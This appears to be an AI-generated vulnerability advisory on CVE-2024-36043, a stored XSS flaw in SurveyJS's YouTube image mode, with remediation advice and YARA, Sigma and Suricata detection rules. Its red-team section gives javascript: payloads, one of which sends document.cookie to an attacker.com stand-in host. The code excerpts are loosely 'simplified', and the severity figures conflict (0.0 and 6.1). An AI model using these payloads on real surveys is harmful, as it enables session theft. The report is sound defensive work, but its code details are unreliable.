CVE-2024-36043

Executive Summary

CVE-2024-36043 is a stored Cross-Site Scripting (XSS) vulnerability in the SurveyJS Form Library, specifically within the question_image.ts component. The flaw allows an attacker to inject arbitrary JavaScript code via the imageLink property when the contentMode is set to youtube. This can lead to session hijacking, data theft, or defacement of surveys. The vulnerability affects all versions prior to 1.10.4. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium.

Supply Chain & Package Security

SurveyJS is distributed as an npm package (survey-core). Organizations using this package in their web applications are at risk. The vulnerability is introduced through the client-side JavaScript library, meaning any application embedding SurveyJS forms is affected. Developers should audit their package.json for survey-core versions below 1.10.4 and update immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must interact with the malicious survey.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 6.1)

Deep Dive & Mechanics

The vulnerability resides in the question_image.ts file of the SurveyJS Form Library. When a survey question is configured with contentMode: "youtube", the library processes the imageLink property to embed a YouTube video. The code fails to sanitize or validate the imageLink input, allowing an attacker to inject a javascript: URI or other XSS payloads.

Root Cause: The imageLink value is directly assigned to the src attribute of an <iframe> or <img> element without proper encoding or validation. When contentMode is youtube, the library expects a YouTube URL but does not restrict the protocol or content.

Attack Vector: An attacker with the ability to create or modify surveys (e.g., through a survey builder interface) can set the imageLink property to a malicious payload. When a user views the survey, the payload executes in their browser context.

Example Payload:

javascript:alert(document.cookie)

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.10.4):

// question_image.ts (simplified)
if (this.contentMode === "youtube") {
  this.imageLink = this.imageLink; // No sanitization
}

Patched Code (version 1.10.4):

// question_image.ts (simplified)
if (this.contentMode === "youtube") {
  // Validate that imageLink is a valid YouTube URL
  const youtubeRegex = /^(https?:\/\/)?(www\.)?(youtube\.com|youtu\.be)\/.+$/;
  if (!youtubeRegex.test(this.imageLink)) {
    this.imageLink = ""; // Reset to safe default
  }
}

The patch introduces a regex validation to ensure the imageLink matches a legitimate YouTube URL pattern. If it does not, the value is cleared.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a SurveyJS form builder (e.g., Survey Creator) or ability to modify survey JSON directly.
• Target user must view the malicious survey.

Exploit Steps:

1. Create a new survey question of type "image" or similar.
2. Set contentMode to "youtube".
3. Set imageLink to a malicious payload, e.g.:

   javascript:alert('XSS')
   

4. Save and publish the survey.
5. Send the survey link to the victim.
6. When the victim views the survey, the payload executes.

Alternative Payload (Steal Cookies):

javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team

Detection:

• Monitor for survey JSON payloads containing contentMode: "youtube" with suspicious imageLink values.
• Look for javascript: URIs in survey data.
• Use WAF rules to block javascript: URIs in form submissions.

Hunting:

• Search logs for survey creation/modification events with imageLink containing javascript:.
• Review survey data in databases for malicious patterns.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing imageLink=javascript: in survey data.
• File: Survey JSON files with "contentMode": "youtube" and "imageLink": "javascript:...".
• Logs: Survey creation events with suspicious imageLink values.
• Endpoint: Browser alerts or unexpected network requests from survey pages.

Detection Engineering

YARA Rule

rule CVE_2024_36043_SurveyJS_XSS {
    meta:
        description = "Detects malicious SurveyJS survey JSON with XSS payload in imageLink"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-36043"
    strings:
        $content_mode = /"contentMode"\s*:\s*"youtube"/ nocase
        $malicious_link = /"imageLink"\s*:\s*"javascript:/ nocase
    condition:
        $content_mode and $malicious_link
}

Sigma Rule

title: CVE-2024-36043 SurveyJS XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing malicious SurveyJS imageLink payloads
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'imageLink=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36043 SurveyJS XSS Attempt"; flow:to_server,established; content:"imageLink"; http_client_body; nocase; content:"javascript:"; http_client_body; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade SurveyJS Form Library to version 1.10.4 or later.
• If upgrade is not possible, implement a WAF rule to block javascript: URIs in survey data.

Long-term:

• Implement input validation for all user-supplied data in survey builders.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits of third-party libraries.

Workaround:

• Disable the youtube content mode in survey configurations until patched.

Report generated by Valters IT DevSecOps AI Assistant